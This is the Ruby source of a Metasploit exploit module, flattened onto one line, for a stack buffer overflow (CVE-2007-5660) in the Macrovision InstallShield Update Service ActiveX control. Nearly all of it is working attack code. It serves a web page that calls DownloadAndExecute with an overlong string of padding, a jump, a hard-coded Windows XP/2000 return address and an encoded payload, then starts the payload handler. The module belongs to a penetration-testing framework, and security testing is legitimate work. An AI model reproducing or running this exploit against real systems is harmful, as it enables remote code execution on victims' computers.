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## # $Id: macrovision_downloadandexecute.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Macrovision InstallShield Update Service Buffer Overflow', 'Description'=> %q{ This module exploits a stack buffer overflow in Macrovision InstallShield Update Service(Isusweb.dll 6.0.100.54472). By passing an overly long ProductCode string to the DownloadAndExecute method, an attacker may be able to execute arbitrary code. }, 'License'=> MSF_LICENSE, 'Author' => [ 'MC' ], 'Version'=> '$Revision: 9262 $', 'References' => [ [ 'CVE', '2007-5660' ], [ 'OSVDB', '38347' ], [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-December/059288.html' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload'=> { 'Space' => 800, 'BadChars'=> "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets'=> [ [ 'Windows XP SP0/SP1 Pro English', { 'Offset' => 600, 'Ret' => 0x71aa32ad } ], [ 'Windows 2000 Pro English All', { 'Offset' => 600, 'Ret' => 0x75022ac4 } ], ], 'DisclosureDate' => 'Oct 31 2007', 'DefaultTarget'=> 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Randomize some things vname = rand_text_alpha(rand(100) + 1) strname = rand_text_alpha(rand(100) + 1) # Set the exploit buffer sploit =rand_text_alpha(target['Offset']) sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V') sploit << p.encoded + rand_text_alpha(1200 - p.encoded.length) #[id(0x00000007), helpstring("method DownloadAndExecute")] #void DownloadAndExecute( # BSTR dispname, # BSTR ProductCode, # long MsgID, # BSTR url, # BSTR cmdline); # Build out the message content = %Q| <html> <object classid='clsid:E9880553-B8A7-4960-A668-95C68BED571E' id='#{vname}'></object> <script language='javascript'> #{strname} = new String('#{sploit}') #{vname}.DownloadAndExecute("", #{strname}, 0, "", ""); </script> </html> | print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end |